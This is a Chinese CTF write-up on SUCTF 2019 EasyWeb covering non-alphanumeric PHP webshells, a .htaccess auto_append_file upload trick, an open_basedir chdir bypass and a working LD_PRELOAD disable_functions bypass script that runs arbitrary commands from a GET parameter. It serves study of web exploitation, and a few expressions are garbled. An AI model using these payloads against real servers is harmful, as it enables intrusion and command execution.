php反向代理ctf,刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)

[TOC]

刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)

一、涉及知识点

1、无数字字母shell

这个方面充满了奇技淫巧,看的我一愣一愣,先说利用的php特性:

(1)代码中没有引号的字符都自动作为字符串

Php的经典特性“Use of undefined constant”,会将代码中没有引号的字符都自动作为字符串,7.2开始提出要被废弃,不过目前还存在着。

我猜这也是为什么传马的时候$_GET['cmd']和$_GET[cmd]都可以

(2)Ascii码大于 0x7F 的字符都会被当作字符串

(3)php 在获取 HTTP GET 参数的时候默认是获得到了字符串类型

$str{4}在字符串的变量的后面跟上{}大括号或者中括号[],里面填写了数字,这里是把字符串变量当成数组处理

${_GET}{cmd}

57)字符串可以用!操作符来进行布尔类型的转换

var_dump(@a); //string(1) "a"

var_dump(!@a); //bool(false)

var_dump(!!@a); //bool(true)

(6)PHP的弱类型特性

因为要获取'和'{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2,也就是('>'>''>'

(7)a-zA-Z使用自增变成下一个字母

'a'++ => 'b','b'++ => 'c'

2、利用.htaccess上传文件

当<?被过滤时 ,用伪协议绕过,上传时上传base64编码过的文件

AddType application/x-httpd-php .wuwu

php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"

3、绕过open_basedir/disable_function的几种方法

(1)chdir绕过

chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

(2)链接文件绕过

(3)disable_function绕过--利用LD_PRELOAD

条件:PHP 支持putenv()和下面用到的函数

贴上关键脚本

echo "

example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

";

$cmd = $_GET["cmd"];

$out_path = $_GET["outpath"];

$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";

echo "

cmdline: " . $evil_cmdline . "

";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];

putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

//error_log("err",1,"","");

//$img = Imagick("1.mp4");//如果有ImageMagick这个扩展(文件必须存在)

//imap_mail("","","");//需要安装imap拓展

//mb_send_mail("","","");

echo "

output:
" . nl2br(file_get_contents($out_path)) . "

";

unlink($out_path);

?>

(4)fpm 绕过

还没解出来,有空再更

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值